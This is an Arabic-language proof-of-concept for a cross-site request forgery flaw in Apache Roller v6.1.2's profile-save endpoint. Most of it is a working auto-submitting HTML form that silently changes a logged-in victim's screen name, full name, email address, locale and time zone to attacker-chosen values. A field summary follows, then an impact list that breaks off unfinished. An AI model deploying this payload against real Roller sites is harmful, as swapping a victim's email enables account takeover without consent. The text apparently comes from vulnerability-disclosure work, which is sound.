
استغلال PoC لثغرة CSRF في نقطة تحديث الملف الشخصي لـ Apache Roller v6.1.2. يتضمن كود استغلال بصيغة HTML لإظهار تغييرات غير مصرح بها في الملف الشخصي.
تم اكتشاف أن رولر v6.1.2 والإصدارات الأقدم تحتوي على ثغرة تزوير الطلب عبر الموقع (CSRF) في نقطة النهاية /roller/roller-ui/profile!save.rol.
تسمح هذه الثغرة للمهاجمين بتحديث معلومات الملف الشخصي للمستخدم الضحية (مثل البريد الإلكتروني، الاسم الكامل، اللغة المحلية، المنطقة الزمنية) بشكل تعسفي عبر صفحة HTML مصممة.
تسمح الثغرة بإرسال طلبات غير مصرح بها إلى /roller/roller-ui/profile!save.rol التي تقوم بتحديث ملف المستخدم الشخصي بدون حماية CSRF.
<html>
<head>
<form id="exploitForm" action="http://localhost:8080/roller/roller-ui/profile!save.rol" method="POST">
<input name="bean.userName" value="vanlam" type="hidden">
<input name="bean.screenName" value="hacked" type="hidden">
<input name="bean.fullName" value="hacked" type="hidden">
<input name="bean.emailAddress" value="[email protected]" type="hidden">
<input name="bean.passwordText" value="" type="hidden">
<input name="bean.passwordConfirm" value="" type="hidden">
<input name="bean.locale" value="vi_VN" type="hidden">
<input name="bean.timeZone" value="Asia/Bangkok" type="hidden">
</form>
<script>
document.getElementById('exploitForm').submit();
</script>
</head>
</html>
bean.userName: vanlambean.screenName: hackedbean.fullName: hackedbean.emailAddress: [email protected]bean.passwordText: (فارغ)bean.passwordConfirm: (فارغ)bean.locale: vi_VNbean.timeZone: Asia/Bangkokيمكن للمهاجم إنشاء صفحة HTML ضارة، عند زيارتها من قبل مستخدم رولر موثّق، ستقوم تلقائيًا بإرسال نموذج لتحديث معلومات الملف الشخصي للضحية دون موافقته. يمكن أن يؤدي ذلك إلى: